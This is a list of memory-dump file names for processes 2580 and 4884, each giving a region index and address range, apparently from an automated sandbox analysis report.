                              memory/2580-384-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-385-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-386-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-387-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-388-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-391-0x000002352EC80000-0x000002352EC8A000-memory.dmp

                              memory/2580-392-0x000002352F0D0000-0x000002352F0EC000-memory.dmp

                              memory/2580-393-0x000002352F0B0000-0x000002352F0B8000-memory.dmp

                              memory/2580-394-0x000002352F0C0000-0x000002352F0C6000-memory.dmp

                              memory/2580-14-0x000002352E690000-0x000002352E6AE000-memory.dmp

                              memory/2580-27-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-400-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-0-0x00007FFC6366F000-0x00007FFC63670000-memory.dmp

                              memory/2580-36-0x000002352EC30000-0x000002352EC3A000-memory.dmp

                              memory/2580-15-0x000002352EA10000-0x000002352EAC2000-memory.dmp

                              memory/2580-23-0x000002352EC20000-0x000002352EC3E000-memory.dmp

                              memory/2580-16-0x000002352E6B0000-0x000002352E6BA000-memory.dmp

                              memory/2580-18-0x000002352EC20000-0x000002352EC44000-memory.dmp

                              memory/2580-17-0x000002352EC20000-0x000002352EC4A000-memory.dmp

                              memory/2580-19-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-22-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-37-0x000002352EC60000-0x000002352EC72000-memory.dmp

                              memory/2580-32-0x000002352F960000-0x000002352FE88000-memory.dmp

                              memory/2580-31-0x000002352F260000-0x000002352F422000-memory.dmp

                              memory/2580-28-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-29-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-26-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/4884-429-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/4884-433-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/4884-432-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/4884-431-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/4884-430-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/4884-428-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/4884-427-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/4884-440-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp